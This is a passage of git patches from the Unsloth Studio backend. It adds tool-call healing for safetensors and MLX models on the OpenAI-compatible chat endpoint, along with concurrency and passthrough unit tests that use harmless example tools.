+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+
+
+# ----------------------------------------------------------------------------
+# load_model rechecks the loading marker AFTER _wait_response("loaded") and
+# BEFORE publishing -- item #6. cancel_load's post-teardown re-clear only wipes a
+# repopulation that lands during its shutdown; a publish that lands after
+# cancel_load returns survives it, so the recheck must abort the publish itself.
+# ----------------------------------------------------------------------------
+
+
+def test_load_model_aborts_publish_when_cancelled_after_wait_response(monkeypatch):
+    # cancel_load (off the lifecycle gate) discards the loading marker BEFORE its teardown
+    # and re-clears the mirrors AFTER it. A racing load_model can consume its worker's
+    # already-queued "loaded" reply and reach the publish block only AFTER cancel_load has
+    # fully returned -- so cancel_load's post-teardown re-clear cannot undo that publish.
+    # Without a marker recheck between _wait_response("loaded") and the publish, load_model
+    # advertises active_model_name/models for a model /unload already reported cancelled,
+    # over a subprocess cancel_load just killed. The recheck must observe the discarded
+    # marker and abort the publish.
+    import types
+
+    from utils import transformers_version as _tv
+
+    o = _bare_orchestrator()
+    o.loading_models = {"m"}
+    o.active_model_name = None
+    o.models = {}
+    o._proc = None  # no prior subprocess -> load_model goes straight to the spawn loop
+
+    monkeypatch.setattr(_tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda *a, **k: ([], {}))
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False)
+    monkeypatch.setattr(o, "_spawn_subprocess", lambda cfg: None)
+    # cancel_load tears the worker down; a no-op keeps the test off real subprocesses.
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: None)
+
+    parked = threading.Event()  # load_model reached _wait_response("loaded")
+    cancel_done = threading.Event()  # cancel_load fully returned (marker discarded + re-clear)
+    load_done = threading.Event()
+
+    def blocking_wait_response(expected, timeout = 300.0):
+        parked.set()
+        # Do not consume "loaded" until cancel_load has fully returned, so the publish
+        # would land AFTER cancel_load's post-teardown re-clear -- the window the
+        # re-clear alone cannot cover.
+        assert cancel_done.wait(timeout = 5)
+        return {
+            "type": "loaded",
+            "success": True,
+            "model_info": {"identifier": "m", "display_name": "m"},
+        }
+
+    monkeypatch.setattr(o, "_wait_response", blocking_wait_response)
+
+    load_result: dict = {}
+
+    def run_load():
+        try:
+            load_result["ok"] = o.load_model(
+                types.SimpleNamespace(identifier = "m", gguf_variant = None)
+            )
+        except Exception as exc:  # noqa: BLE001
+            load_result["exc"] = exc
+        finally:
+            load_done.set()
+
+    loader = threading.Thread(target = run_load)
+    loader.start()
+    assert parked.wait(timeout = 5), "load_model must reach _wait_response"
+
+    # cancel_load runs to completion while the load is parked: it discards the marker and
+    # re-clears the mirrors (post-teardown), then returns. Only then let the load consume
+    # "loaded" and attempt to publish.
+    assert o.cancel_load("m") is True
+    cancel_done.set()
+
+    loader.join(timeout = 5)
+    assert load_done.is_set()
+
+    # Fail-without: load_model published active_model_name/models for 'm' AFTER cancel_load
+    # returned, advertising a cancelled model over a killed subprocess.
+    assert load_result.get("ok") is False, "the cancelled load must not report success"
+    assert o.active_model_name is None, "must not publish a cancelled model's active name"
+    assert o.models == {}, "must not publish a cancelled model's mirror"
+    assert "m" not in o.loading_models

From 46ab68306543e8e28d087f68b1cc0cb482e11a4a Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 19:48:36 -0700
Subject: [PATCH 223/306] Studio: client-tool passthrough healing for
 safetensors and MLX (#6870)

* Studio: client-tool passthrough healing for safetensors and MLX

PR 6801 made response-side tool-call healing default-on for the client-tool
passthrough, but only on the GGUF path: the passthrough branch in
/v1/chat/completions is gated on using_gguf, and the safetensors section never
reads payload.tools, so a client-tools request against a safetensors or MLX
model silently dropped the tool schemas and returned prose with no tool_calls.

Add the missing leg. When a non-GGUF model is loaded, the request declares
client tools (or carries tool-role history), server-side tools are off, and the
template supports tools, the route now:
- renders the tools into the chat template for a single turn via the existing
  backend.generate_chat_response(..., tools=...) seam (worker templating
  already accepts role=tool and assistant.tool_calls messages, normalized with
  _openai_messages_for_passthrough);
- non-streaming: promotes text-form calls with heal_openai_message, honors the
  opt-in nudge single retry (nudge_should_retry / nudge_messages), caps healed
  calls when parallel_tool_calls=false (covers the nudge retry too), and sets
  finish_reason=tool_calls with content null on a pure tool-call turn;
- streaming: derives deltas from the worker's cumulative snapshots and feeds
  StreamToolCallHealer, emitting healed tool-call deltas and the correct
  finish chunk, guarded against repeated or shrinking snapshots.

heal_gate semantics are identical to the GGUF passthrough: default on,
auto_heal_tool_calls=false or UNSLOTH_DISABLE_TOOL_CALL_HEALING=1 relays
verbatim, tool_choice narrows promotion, undeclared names stay text. MLX rides
the same orchestrator seam, so both local backends gain the behavior.

CompletionMessage.content becomes Optional so a promoted pure tool-call turn
matches the OpenAI contract (content null when only tool_calls return).

Adds tests/test_sf_client_tools_passthrough.py (22 cases: healing, gating,
opt-outs, streaming deltas, tool-role history, dict-arguments history, forced
tool_choice, parallel cap, usage, nudge on/off/double-failure, generator error
hygiene, disconnect reset, empty output, MLX path).

* Address review: tool_choice none, developer folding, retry fallback, monitor reply

Four review follow-ups on the safetensors/MLX client-tool passthrough leg:
- tool_choice="none" keeps the tool-history templating but no longer
  advertises the tools, so a forced final-answer turn is not prompted into
  emitting markup that the (correctly disabled) healer would relay as prose.
  Mirrors the GGUF passthrough where llama-server honors tool_choice itself.
- OpenAI "developer" messages fold into a single leading system message via
  _set_or_prepend_system_message before templating; local templates reject the
  role and the fallback formatter drops it.
- A nudge retry that fails or is cancelled after the original answer exists
  falls back to the first response instead of surfacing a 500, matching the
  GGUF nudge path.
- The API monitor records the healed tool call summary instead of the raw
  markup on a promoted turn.

Adds four regression tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: forced tool_choice templating, content-part flattening, stream monitor parity

- A forced tool_choice function is now the only schema rendered into the
  local template, so the advertised tools and the healer allowlist can no
  longer disagree (llama-server enforces tool_choice itself on the GGUF path).
- Content-part lists are flattened to their text parts before templating.
  Remote image URLs are not decodable locally, so such requests reached this
  path with part lists that raise inside apply_chat_template on text-only
  templates; the plain non-GGUF path has always flattened them.
- The streaming monitor entry is now fed from the healed events the client
  actually receives, recording promoted calls as the [tool_calls] summary
  the non-streaming path records.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: gate passthrough on the engaged server path, deserialize templated arguments

- The client-tools gate now keys on _sf_use_tools (whether the server-side
  tool path actually claimed the request) instead of the raw mcp_enabled
  flag: with an empty MCP registry or a CLI --disable-tools policy, a client
  that sets mcp_enabled while declaring its own tools fell through to plain
  generation with the tools silently dropped. The GGUF passthrough gate has
  no mcp_enabled clause either.
- New _structured_tool_history_for_local_template deserializes assistant
  tool_calls[].function.arguments JSON strings into mappings for the
  templated copy only: spec-compliant clients send strings, but local chat
  templates iterate arguments as a mapping or raise on strings, which
  crashed or misrendered multi-turn tool history. The HTTP response and the
  GGUF wire shape keep strings.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments and docstrings in the client-tools passthrough

* Report first-attempt usage when a nudge retry is discarded

When nudge_should_retry fires but the retry produces no healable tool call
(or raises), the first response is still delivered to the client. The retry's
generate() had already overwritten stats_holder, so _monitor_usage recorded
the unseen retry's token counts against the request instead of the first
attempt that was actually returned. Capture the first attempt's stats before
the retry and restore them on both the no-heal and exception paths so the
monitor reports the usage of the response the caller received.

* Do not promote buffered tool markup when a stream is cancelled

The streaming client-tool heal path breaks out of the token loop when
cancel_event is set (the registry "Stop" path), but then still fell through to
healer.finalize(), which heals incomplete tool markup at EOF (allow_incomplete)
and emits a tool_calls delta plus finish_reason=tool_calls. Because the Stop
request only sets the event and leaves the SSE socket open, the client received
that promoted call and executed a tool the user had just cancelled. The disconnect
path already returns before finalize; guard finalize and the finish_reason on
cancel_event too, so a cancelled stream ends with finish_reason=stop and no tool
call. Adds a regression test driving a Stop mid-emission with buffered markup.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trim comments in the client-tools passthrough

* Trim client-tools passthrough comments further

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/models/inference.py            |   3 +-
 studio/backend/routes/inference.py            | 329 +++++++-
 .../tests/test_sf_client_tools_passthrough.py | 786 ++++++++++++++++++
 3 files changed, 1102 insertions(+), 16 deletions(-)
 create mode 100644 studio/backend/tests/test_sf_client_tools_passthrough.py

diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py
index 31c100dbec..1e7770a7f8 100644
--- a/studio/backend/models/inference.py
+++ b/studio/backend/models/inference.py
@@ -1146,7 +1146,8 @@ class CompletionMessage(BaseModel):
     """The assistant's complete response message."""
 
     role: Literal["assistant"] = "assistant"
-    content: str
+    # ``None`` on a pure tool-call turn (OpenAI content=null); string otherwise.
+    content: Optional[str] = None
     refusal: Optional[str] = None
     reasoning_content: Optional[str] = None
     tool_calls: Optional[list[dict]] = None
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index e31c03f7f8..3f6f6a2a78 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -625,6 +625,66 @@ def _chat_final_chunk(completion_id, created, model_name, finish_reason) -> str:
     )
 
 
+def _chat_tool_calls_chunk(completion_id, created, model_name, tool_calls) -> str:
+    """Delta chunk carrying OpenAI tool-call deltas (sibling of ``_chat_content_chunk``)."""
+    return _chat_chunk_sse(
+        completion_id,
+        created,
+        model_name,
+        delta = ChoiceDelta(tool_calls = tool_calls),
+        finish_reason = None,
+    )
+
+
+def _sf_heal_events_to_sse(
+    events,
+    completion_id,
+    created,
+    model_name,
+    state,
+    parallel_tool_calls,
+    monitor_id = None,
+):
+    """Serialize ``StreamToolCallHealer`` events into chat SSE lines.
+
+    ``state["idx"]`` tracks the call index across ``feed``/``finalize``;
+    ``parallel_tool_calls is False`` caps promotion to one call (GGUF parity).
+    The monitor is fed from the same events the client receives, never the
+    healed-away markup."""
+    lines = []
+    for kind, value in events:
+        if kind == "text":
+            if value:
+                lines.append(_chat_content_chunk(completion_id, created, model_name, value))
+                api_monitor.append_reply(monitor_id, value)
+            continue
+        if parallel_tool_calls is False and state["idx"] >= 1:
+            continue
+        lines.append(
+            _chat_tool_calls_chunk(
+                completion_id,
+                created,
+                model_name,
+                [
+                    {
+                        "index": state["idx"],
+                        "id": value["id"],
+                        "type": "function",
+                        "function": value["function"],
+                    }
+                ],
+            )
+        )
+        _fn = value.get("function") or {}
+        api_monitor.append_reply(
+            monitor_id,
+            ("[tool_calls] " if state["idx"] == 0 else "; ")
+            + f"{_fn.get('name', '')}({_fn.get('arguments', '')})",
+        )
+        state["idx"] += 1
+    return lines
+
+
 def _rewrite_cmpl_id(raw: bytes) -> bytes:
     """Rewrite llama-server's chat-style ``chatcmpl-`` ids to the ``cmpl-``
     prefix OpenAI's legacy /v1/completions use. Anchored on the ``"id":`` key
@@ -7190,25 +7250,87 @@ async def openai_chat_completions(
     if payload.preserve_thinking is not None:
         gen_kwargs["preserve_thinking"] = payload.preserve_thinking
 
+    # ── Client-tool passthrough (safetensors + MLX) ──────────────
+    # Client tools (or tool-result history) without server-side tools: render
+    # tools into the template, generate one turn, heal text-form calls (#6801).
+    # supports_tools=False falls through to plain relay (GGUF gate parity).
+    _sf_has_tool_msgs = any(m.role == "tool" or m.tool_calls for m in payload.messages)
+    # Gate on _sf_use_tools (did the server-side path claim the request?), not
+    # raw mcp_enabled: an empty MCP registry must not silently drop client tools.
+    _sf_client_tools = (
+        not _effective_enable_tools(payload)
+        and not _sf_use_tools
+        and image is None
+        and not _sf_is_gptoss
+        and _sf_features.get("supports_tools", False)
+        and ((payload.tools and len(payload.tools) > 0) or _sf_has_tool_msgs)
+    )
+    _sf_heal = (
+        heal_gate(payload.auto_heal_tool_calls, payload.tools, payload.tool_choice)
+        if _sf_client_tools
+        else None
+    )
+    if _sf_client_tools:
+        # Re-derive from payload.messages so tool_calls / role="tool" history
+        # survives templating; fold system/developer into one leading system
+        # message (templates reject "developer") and clear prompt to avoid a dup.
+        gen_kwargs["messages"] = _set_or_prepend_system_message(
+            _structured_tool_history_for_local_template(
+                _flatten_content_parts_for_local_template(_openai_messages_for_passthrough(payload))
+            ),
+            system_prompt,
+        )
+        gen_kwargs["system_prompt"] = ""
+        # tool_choice="none": keep history templating but advertise no tools
+        # (heal_gate is off, markup would relay as prose). A forced function
+        # narrows templating to that one schema. Both mirror the GGUF path,
+        # where llama-server honors tool_choice itself.
+        _sf_tc = payload.tool_choice
+        _sf_forced = None
+        if isinstance(_sf_tc, dict) and isinstance(_sf_tc.get("function"), dict):
+            _sf_forced = _sf_tc["function"].get("name")
+        if _sf_tc == "none":
+            gen_kwargs["tools"] = None
+        elif isinstance(_sf_forced, str):
+            gen_kwargs["tools"] = [
+                t
+                for t in payload.tools or []
+                if isinstance(t, dict)
+                and isinstance(t.get("function"), dict)
+                and t["function"].get("name") == _sf_forced
+            ] or None
+        else:
+            gen_kwargs["tools"] = payload.tools
+
     # Request-scoped usage/timings receptacle (filled at gen_done).
     stats_holder: dict = {}
 
     if payload.use_adapter is not None:
 
-        def generate():
+        def generate(messages_override = None):
+            kw = (
+                gen_kwargs
+                if messages_override is None
+                else {**gen_kwargs, "messages": messages_override}
+            )
             return backend.generate_with_adapter_control(
                 use_adapter = payload.use_adapter,
                 cancel_event = cancel_event,
                 stats_holder = stats_holder,
-                **gen_kwargs,
+                **kw,
             )
     else:
 
-        def generate():
+        def generate(messages_override = None):
+            kw = (
+                gen_kwargs
+                if messages_override is None
+                else {**gen_kwargs, "messages": messages_override}
+            )
             return backend.generate_chat_response(
                 cancel_event = cancel_event,
                 stats_holder = stats_holder,
-                **gen_kwargs,
+                **kw,
             )
 
     # ── Streaming response ────────────────────────────────────────
@@ -7224,6 +7346,11 @@ async def openai_chat_completions(
             try:
                 yield _chat_role_chunk(completion_id, created, model_name)
 
+                # Client-tool passthrough: heal text-form calls on the fly
+                # (None => relay verbatim).
+                healer = StreamToolCallHealer(_sf_heal, payload.tools) if _sf_heal else None
+                heal_state = {"idx": 0}
+
                 prev_text = ""
                 # Split prefilled <think> into reasoning_content deltas (GGUF parity); single turn, serves MLX.
                 reasoning_extractor = _new_sf_reasoning_extractor()
@@ -7255,22 +7382,76 @@ async def openai_chat_completions(
                     prev_text = cumulative
                     if not new_text:
                         continue
+                    # Split prefilled <think> reasoning first (GGUF/MLX parity),
+                    # then route only the visible text through the client-tool
+                    # healer so tool markup inside a reasoning block is not promoted.
                     reasoning_delta, visible_delta = reasoning_extractor.feed(new_text)
                     if reasoning_delta:
                         yield _chat_reasoning_chunk(
                             completion_id, created, model_name, reasoning_delta
                         )
                     if visible_delta:
-                        api_monitor.append_reply(monitor_id, visible_delta)
-                        yield _chat_content_chunk(completion_id, created, model_name, visible_delta)
+                        if healer is None:
+                            # Monitor mirrors the verbatim relay; with healing on,
+                            # _sf_heal_events_to_sse records the healed events instead.
+                            api_monitor.append_reply(monitor_id, visible_delta)
+                            yield _chat_content_chunk(
+                                completion_id, created, model_name, visible_delta
+                            )
+                        else:
+                            for line in _sf_heal_events_to_sse(
+                                healer.feed(visible_delta),
+                                completion_id,
+                                created,
+                                model_name,
+                                heal_state,
+                                payload.parallel_tool_calls,
+                                monitor_id,
+                            ):
+                                yield line
 
                 final_reasoning, final_visible = reasoning_extractor.finish()
                 if final_reasoning:
                     yield _chat_reasoning_chunk(completion_id, created, model_name, final_reasoning)
                 if final_visible:
-                    api_monitor.append_reply(monitor_id, final_visible)
-                    yield _chat_content_chunk(completion_id, created, model_name, final_visible)
-                yield _chat_final_chunk(completion_id, created, model_name, "stop")
+                    if healer is None:
+                        api_monitor.append_reply(monitor_id, final_visible)
+                        yield _chat_content_chunk(completion_id, created, model_name, final_visible)
+                    else:
+                        for line in _sf_heal_events_to_sse(
+                            healer.feed(final_visible),
+                            completion_id,
+                            created,
+                            model_name,
+                            heal_state,
+                            payload.parallel_tool_calls,
+                            monitor_id,
+                        ):
+                            yield line
+
+                # A cancelled stream must not promote buffered-but-incomplete
+                # markup: finalize()'s allow_incomplete heal would execute a tool
+                # the user just cancelled. Disconnect returns earlier; "Stop" only
+                # sets cancel_event, so guard on it here too.
+                _cancelled = cancel_event.is_set()
+                if healer is not None and not _cancelled:
+                    for line in _sf_heal_events_to_sse(
+                        healer.finalize(),
+                        completion_id,
+                        created,
+                        model_name,
+                        heal_state,
+                        payload.parallel_tool_calls,
+                        monitor_id,
+                    ):
+                        yield line
+
+                _finish = (
+                    "tool_calls"
+                    if (healer is not None and not _cancelled and healer.healed)
+                    else "stop"
+                )
+                yield _chat_final_chunk(completion_id, created, model_name, _finish)
                 # Usage chunk (choices=[], usage set), same shape as the
                 # GGUF path so the speed popover works for MLX too.
                 # Request-scoped holder, so concurrent streams cannot
@@ -7332,27 +7513,96 @@ async def openai_chat_completions(
             for token in generate():
                 full_text = token
 
-            # Split prefilled <think> reasoning (GGUF parity); also covers MLX via the shared generate().
+            # Split prefilled <think> reasoning (GGUF parity); also covers MLX via
+            # the shared generate(). Client-tool healing then runs on the visible
+            # text so tool markup inside a reasoning block is never promoted.
             _reasoning_text, _visible_text = _extract_responses_reasoning(
                 full_text,
                 parse_think_markers = _sf_parse_think,
                 reasoning_prefilled = _sf_reasoning_prefilled,
             )
-            _plain_msg_kwargs = {"content": _visible_text}
+            # Client-tool passthrough: promote text-form calls; opt-in single
+            # nudge retry on unparseable tool markup.
+            _msg = {"role": "assistant", "content": _visible_text}
             if _reasoning_text:
-                _plain_msg_kwargs["reasoning_content"] = _reasoning_text
+                _msg["reasoning_content"] = _reasoning_text
+            _finish = "stop"
+            if _sf_heal:
+                if heal_openai_message(_msg, _sf_heal, payload.tools):
+                    _finish = "tool_calls"
+                elif nudge_enabled(payload.nudge_tool_calls):
+                    _data = {
+                        "choices": [{"message": {"role": "assistant", "content": _visible_text}}]
+                    }
+                    if nudge_should_retry(_data, _sf_heal, payload.tools):
+                        # A failed retry must not 500 the request; keep the first
+                        # response (GGUF nudge parity). The retry's generate()
+                        # overwrites stats_holder, so save the first attempt's stats
+                        # and restore them if the retry is discarded.
+                        _first_stats = stats_holder.get("stats")
+                        try:
+                            retry_text = ""
+                            for token in generate(
+                                [*gen_kwargs["messages"], *nudge_messages(_data, _sf_heal)]
+                            ):
+                                retry_text = token
+                            # Re-split reasoning on the retry so its visible text is
+                            # what heals into a call (and reaches the monitor).
+                            _retry_reasoning, _retry_visible = _extract_responses_reasoning(
+                                retry_text,
+                                parse_think_markers = _sf_parse_think,
+                                reasoning_prefilled = _sf_reasoning_prefilled,
+                            )
+                            retry_msg = {"role": "assistant", "content": _retry_visible}
+                            if _retry_reasoning:
+                                retry_msg["reasoning_content"] = _retry_reasoning
+                            if heal_openai_message(retry_msg, _sf_heal, payload.tools):
+                                _visible_text, _msg, _finish = (
+                                    _retry_visible,
+                                    retry_msg,
+                                    "tool_calls",
+                                )
+                            else:
+                                # Retry produced no healable call -> first response wins.
+                                stats_holder["stats"] = _first_stats
+                        except Exception as retry_exc:
+                            logger.debug(
+                                "Nudge retry failed; keeping first response: %s", retry_exc
+                            )
+                            stats_holder["stats"] = _first_stats
+                # parallel_tool_calls=false: cap to one call (GGUF parity).
+                if payload.parallel_tool_calls is False:
+                    _tcs = _msg.get("tool_calls")
+                    if isinstance(_tcs, list) and len(_tcs) > 1:
+                        _msg["tool_calls"] = _tcs[:1]
+
             response = ChatCompletion(
                 id = completion_id,
                 created = created,
                 model = model_name,
                 choices = [
                     CompletionChoice(
-                        message = CompletionMessage(**_plain_msg_kwargs),
-                        finish_reason = "stop",
+                        message = CompletionMessage(
+                            content = _msg["content"],
+                            reasoning_content = _msg.get("reasoning_content"),
+                            tool_calls = _msg.get("tool_calls"),
+                        ),
+                        finish_reason = _finish,
                     )
                 ],
             )
-            api_monitor.set_reply(monitor_id, _visible_text)
+            _monitor_reply = _msg.get("content") or ""
+            if _finish == "tool_calls":
+                _tcs = _msg.get("tool_calls") or []
+                _calls_text = "; ".join(
+                    f"{(tc.get('function') or {}).get('name', '')}"
+                    f"({(tc.get('function') or {}).get('arguments', '')})"
+                    for tc in _tcs
+                )
+                _monitor_reply = (_msg.get("content") or "") + (
+                    f"[tool_calls] {_calls_text}" if _calls_text else ""
+                )
+            api_monitor.set_reply(monitor_id, _monitor_reply)
             _stats = stats_holder.get("stats")
             if _stats:
                 _monitor_usage(monitor_id, _stats.get("usage"))
@@ -11189,6 +11439,55 @@ def _openai_messages_for_passthrough(payload) -> list[dict]:
     return messages
 
 
+def _flatten_content_parts_for_local_template(messages: list[dict]) -> list[dict]:
+    """Flatten OpenAI content-part lists to plain strings.
+
+    Local text templates take string content and raise on part lists (e.g. a
+    remote ``image_url`` that leaves ``image is None``): keep the text parts,
+    drop the rest, like the plain non-GGUF path. GGUF keeps the parts."""
+    out = []
+    for msg in messages:
+        content = msg.get("content")
+        if isinstance(content, list):
+            text_parts = [
+                part.get("text", "")
+                for part in content
+                if isinstance(part, dict) and part.get("type") == "text"
+            ]
+            msg = {**msg, "content": "\n".join(text_parts) if text_parts else ""}
+        out.append(msg)
+    return out
+
+
+def _structured_tool_history_for_local_template(messages: list[dict]) -> list[dict]:
+    """Deserialize assistant ``tool_calls[].function.arguments`` JSON strings to
+    mappings for local templating.
+
+    Clients send prior-turn arguments as JSON strings, but local templates take
+    mappings (some raise on strings). Only the internal messages copy is
+    rewritten; the HTTP response stays OpenAI-shaped and unparseable strings
+    are left untouched."""
+    out = []
+    for msg in messages:
+        tool_calls = msg.get("tool_calls")
+        if isinstance(tool_calls, list) and tool_calls:
+            new_calls = []
+            for tc in tool_calls:
+                fn = tc.get("function") if isinstance(tc, dict) else None
+                args = fn.get("arguments") if isinstance(fn, dict) else None
+                if isinstance(args, str):
+                    try:
+                        parsed = json.loads(args)
+                    except ValueError:
+                        parsed = None
+                    if isinstance(parsed, dict):
+                        tc = {**tc, "function": {**fn, "arguments": parsed}}
+                new_calls.append(tc)
+            msg = {**msg, "tool_calls": new_calls}
+        out.append(msg)
+    return out
+
+
 def _openai_messages_for_gguf_chat(payload, is_vision: bool) -> tuple[list[dict], bool]:
     """Build llama-server messages for the standard GGUF chat path.
 
diff --git a/studio/backend/tests/test_sf_client_tools_passthrough.py b/studio/backend/tests/test_sf_client_tools_passthrough.py
new file mode 100644
index 0000000000..01905b712c
--- /dev/null
+++ b/studio/backend/tests/test_sf_client_tools_passthrough.py
@@ -0,0 +1,786 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Client-tools passthrough healing for the safetensors/MLX backend.
+
+Parity for #6801: when a NON-GGUF model is loaded and the request declares its
+own ``tools`` with server-side tools OFF, text-form tool calls are promoted back
+into structured ``tool_calls`` (declared tools only) via the shared healer. MLX
+rides the same orchestrator path, so a single scripted backend covers both.
+"""
+
+import asyncio
+import json
+from types import SimpleNamespace
+
+from models.inference import ChatCompletionRequest, ChatMessage
+from routes.inference import openai_chat_completions
+from core.inference.api_monitor import ApiMonitor
+
+
+LOOKUP_TOOL = {
+    "type": "function",
+    "function": {
+        "name": "lookup",
+        "description": "Look something up",
+        "parameters": {
+            "type": "object",
+            "properties": {"q": {"type": "string"}},
+            "required": ["q"],
+        },
+    },
+}
+SEARCH_TOOL = {
+    "type": "function",
+    "function": {
+        "name": "search",
+        "parameters": {
+            "type": "object",
+            "properties": {"query": {"type": "string"}},
+            "required": ["query"],
+        },
+    },
+}
+
+_CALL_XML = '<tool_call>{"name": "lookup", "arguments": {"q": "cats"}}</tool_call>'
+_SEARCH_XML = '<tool_call>{"name": "search", "arguments": {"query": "dogs"}}</tool_call>'
+
+
+class _Request:
+    state = SimpleNamespace()
+    url = SimpleNamespace(path = "/v1/chat/completions")
+    method = "POST"
+    scope: dict = {}
+
+    async def is_disconnected(self):
+        return False
+
+
+class _ScriptedBackend:
+    """Non-GGUF backend: ``generate_chat_response`` replays scripted
+    CUMULATIVE snapshots. ``responder(messages, tools)`` returns the snapshot
+    list for one generation, so nudge tests can vary output across turns."""
+
+    active_model_name = "sf-model"
+
+    def __init__(
+        self,
+        responder,
+        *,
+        stats = None,
+    ):
+        self.models = {
+            "sf-model": {
+                "chat_template_info": {"template": "<tool_call> chatml"},
+                "context_length": 2048,
+            }
+        }
+        self._responder = responder
+        self._stats = stats
+        self.calls: list = []
+        self.reset_count = 0
+
+    def generate_chat_response(
+        self,
+        *,
+        messages,
+        tools = None,
+        stats_holder = None,
+        **kwargs,
+    ):
+        self.calls.append({"messages": messages, "tools": tools, **kwargs})
+        snapshots = self._responder(messages, tools)
+        if stats_holder is not None and self._stats is not None:
+            stats_holder["stats"] = self._stats
+        for snap in snapshots:
+            yield snap
+
+    def reset_generation_state(self):
+        self.reset_count += 1
+
+
+def _fixed(*snapshots):
+    """Responder that always replays the given cumulative snapshots."""
+    return lambda messages, tools: list(snapshots)
+
+
+def _llama_stub():
+    return SimpleNamespace(
+        is_loaded = False,
+        supports_tools = False,
+        is_vision = False,
+        context_length = None,
+    )
+
+
+def _install(
+    monkeypatch,
+    backend,
+    *,
+    supports_tools = True,
+):
+    import routes.inference as inf
+    from state.tool_policy import reset_tool_policy
+
+    reset_tool_policy()
+    monitor = ApiMonitor(max_entries = 8)
+    monkeypatch.setattr(inf, "api_monitor", monitor)
+    monkeypatch.setattr(inf, "get_llama_cpp_backend", lambda: _llama_stub())
+    monkeypatch.setattr(inf, "get_inference_backend", lambda: backend)
+    monkeypatch.setattr(
+        inf,
+        "_detect_safetensors_features",
+        lambda *a, **k: {"supports_tools": supports_tools},
+    )
+    return monitor
+
+
+def _request(**kwargs):
+    base = dict(model = "default", messages = [ChatMessage(role = "user", content = "hi")])
+    base.update(kwargs)
+    return ChatCompletionRequest(**base)
+
+
+def _call(payload, monkeypatch, backend, **install_kwargs):
+    _install(monkeypatch, backend, **install_kwargs)
+
+    async def _run():
+        return await openai_chat_completions(payload, request = _Request(), current_subject = "u")
+
+    return asyncio.run(_run())
+
+
+def _json_body(response):
+    return json.loads(response.body if hasattr(response, "body") else response.content)
+
+
+def _collect_sse(response):
+    async def _run():
+        return [c async for c in response.body_iterator]
+
+    return asyncio.run(_run())
+
+
+def _sse_objects(chunks):
+    out = []
+    for chunk in chunks:
+        if isinstance(chunk, bytes):
+            chunk = chunk.decode()
+        for line in str(chunk).splitlines():
+            if line.startswith("data: "):
+                data = line.removeprefix("data: ")
+                if data != "[DONE]":
+                    out.append(json.loads(data))
+    return out
+
+
+# ── Non-streaming ─────────────────────────────────────────────────
+
+
+def test_xml_healed_to_tool_calls_non_streaming(monkeypatch):
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "tool_calls"
+    assert choice["message"]["content"] is None
+    calls = choice["message"]["tool_calls"]
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "lookup"
+    assert json.loads(calls[0]["function"]["arguments"]) == {"q": "cats"}
+    # The client tools reached the generator (template injection).
+    assert backend.calls[0]["tools"] == [LOOKUP_TOOL]
+
+
+def test_undeclared_call_stays_text(monkeypatch):
+    xml = '<tool_call>{"name": "other", "arguments": {}}</tool_call>'
+    backend = _ScriptedBackend(_fixed(xml))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"].get("tool_calls") is None
+    assert choice["message"]["content"] == xml
+
+
+def test_opt_out_relays_verbatim(monkeypatch):
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False, auto_heal_tool_calls = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"].get("tool_calls") is None
+    assert choice["message"]["content"] == _CALL_XML
+
+
+def test_env_kill_switch_relays_verbatim(monkeypatch):
+    import core.inference.passthrough_healing as ph
+
+    monkeypatch.setattr(ph, "_HEALING_DISABLED", True)
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"].get("tool_calls") is None
+    assert choice["message"]["content"] == _CALL_XML
+
+
+def test_no_tools_request_untouched(monkeypatch):
+    backend = _ScriptedBackend(_fixed("just a plain answer"))
+    payload = _request(stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    # No tools and no tool messages -> plain path, normal ChatCompletion.
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"]["content"] == "just a plain answer"
+    assert choice["message"].get("tool_calls") is None
+
+
+def test_prose_around_call_retained(monkeypatch):
+    text = "Let me look:\n" + _CALL_XML + "\ndone"
+    backend = _ScriptedBackend(_fixed(text))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "tool_calls"
+    assert choice["message"]["content"] == "Let me look:\n\ndone"
